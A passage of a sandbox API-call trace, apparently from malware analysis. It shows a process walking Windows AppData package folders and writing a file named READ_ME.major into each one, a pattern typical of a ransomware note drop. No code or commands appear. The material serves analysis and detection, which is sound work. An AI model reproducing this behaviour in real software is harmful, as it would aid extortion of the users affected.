ftCreationTime.dwLowDateTime=0x69567730, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcab4e926, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x69567730, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0185.343] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.LockApp_cw5n1h2txyewy\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.lockapp_cw5n1h2txyewy\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a0 [0185.343] WriteFile (in: hFile=0x8a0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.344] CloseHandle (hObject=0x8a0) returned 1 [0185.344] FindNextFileW (in: hFindFile=0x661130, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x695414de, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcab4f07a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x695414de, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0185.344] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.LockApp_cw5n1h2txyewy\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.lockapp_cw5n1h2txyewy\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a0 [0185.345] WriteFile (in: hFile=0x8a0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.346] CloseHandle (hObject=0x8a0) returned 1 [0185.346] FindNextFileW (in: hFindFile=0x661130, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x695414de, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcab4f626, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x695414de, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0185.346] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.LockApp_cw5n1h2txyewy\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.lockapp_cw5n1h2txyewy\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a0 [0185.347] WriteFile (in: hFile=0x8a0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.348] CloseHandle (hObject=0x8a0) returned 1 [0185.348] FindNextFileW (in: hFindFile=0x661130, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2208d807, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2208d807, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2208d807, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0185.348] FindNextFileW (in: hFindFile=0x661130, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x695414de, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcab4fd13, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x695414de, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0185.348] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.LockApp_cw5n1h2txyewy\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.lockapp_cw5n1h2txyewy\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a0 [0185.349] WriteFile (in: hFile=0x8a0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.350] CloseHandle (hObject=0x8a0) returned 1 [0185.350] FindNextFileW (in: hFindFile=0x661130, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69567730, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x7120db5c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x7120db5c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0185.350] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.LockApp_cw5n1h2txyewy\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.lockapp_cw5n1h2txyewy\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a0 [0185.356] WriteFile (in: hFile=0x8a0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.357] CloseHandle (hObject=0x8a0) returned 1 [0185.357] FindNextFileW (in: hFindFile=0x661130, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b2c8ffc, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7b2c8ffc, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7b2c8ffc, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0185.357] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.LockApp_cw5n1h2txyewy\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.lockapp_cw5n1h2txyewy\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a0 [0185.359] WriteFile (in: hFile=0x8a0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.360] CloseHandle (hObject=0x8a0) returned 1 [0185.360] FindNextFileW (in: hFindFile=0x661130, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x695414de, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcac1bf8c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x695414de, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0185.360] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.LockApp_cw5n1h2txyewy\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.lockapp_cw5n1h2txyewy\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a0 [0185.361] WriteFile (in: hFile=0x8a0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.362] CloseHandle (hObject=0x8a0) returned 1 [0185.362] FindNextFileW (in: hFindFile=0x661130, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x695414de, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcac1bf8c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x695414de, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0185.362] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3517066f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xfbf856cf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2208d807, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x661330 [0185.362] FindNextFileW (in: hFindFile=0x661330, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3517066f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xfbf856cf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2208d807, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0185.362] FindNextFileW (in: hFindFile=0x661330, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x352eddd8, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x32d4a634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x32d4a634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0185.362] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.messaging_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a4 [0185.363] WriteFile (in: hFile=0x8a4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.364] CloseHandle (hObject=0x8a4) returned 1 [0185.364] FindNextFileW (in: hFindFile=0x661330, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3525549b, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcad7a98d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3525549b, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0185.364] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.messaging_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a4 [0185.365] WriteFile (in: hFile=0x8a4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.366] CloseHandle (hObject=0x8a4) returned 1 [0185.366] FindNextFileW (in: hFindFile=0x661330, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x351968ce, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x432e06f1, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x432e06f1, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0185.366] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.messaging_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a4 [0185.460] WriteFile (in: hFile=0x8a4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.461] CloseHandle (hObject=0x8a4) returned 1 [0185.461] FindNextFileW (in: hFindFile=0x661330, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3517066f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x32e556a9, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x32e556a9, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0185.461] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.messaging_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a4 [0185.513] WriteFile (in: hFile=0x8a4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.514] CloseHandle (hObject=0x8a4) returned 1 [0185.514] FindNextFileW (in: hFindFile=0x661330, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2208d807, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2208d807, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x220b391c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0185.514] FindNextFileW (in: hFindFile=0x661330, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3517066f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcaddd25d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3517066f, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0185.514] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.messaging_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a4 [0185.515] WriteFile (in: hFile=0x8a4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.516] CloseHandle (hObject=0x8a4) returned 1 [0185.516] FindNextFileW (in: hFindFile=0x661330, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x351968ce, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x71233dac, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x71233dac, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0185.516] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.messaging_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a4 [0185.519] WriteFile (in: hFile=0x8a4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.520] CloseHandle (hObject=0x8a4) returned 1 [0185.520] FindNextFileW (in: hFindFile=0x661330, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbc3e2f6, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfbc3e2f6, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfbc3e2f6, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0185.520] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.messaging_8wekyb3d8bbwe\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a4 [0185.522] WriteFile (in: hFile=0x8a4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.523] CloseHandle (hObject=0x8a4) returned 1 [0185.523] FindNextFileW (in: hFindFile=0x661330, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3517066f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x45c47a35, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x45c47a35, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0185.523] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.messaging_8wekyb3d8bbwe\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a4 [0185.524] WriteFile (in: hFile=0x8a4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.525] CloseHandle (hObject=0x8a4) returned 1 [0185.525] FindNextFileW (in: hFindFile=0x661330, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3517066f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x45c47a35, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x45c47a35, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0185.525] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Microsoft3DViewer_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9ee3238, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xf9f55962, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x220b391c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6613b0 [0185.525] FindNextFileW (in: hFindFile=0x6613b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9ee3238, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xf9f55962, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x220b391c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0185.525] FindNextFileW (in: hFindFile=0x6613b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf9f55962, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xf9f55962, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xf9f55962, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0185.525] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Microsoft3DViewer_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoft3dviewer_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a8 [0185.528] WriteFile (in: hFile=0x8a8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.529] CloseHandle (hObject=0x8a8) returned 1 [0185.529] FindNextFileW (in: hFindFile=0x6613b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9ee3238, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xf9ee3238, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xf9ee3238, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0185.529] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Microsoft3DViewer_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: 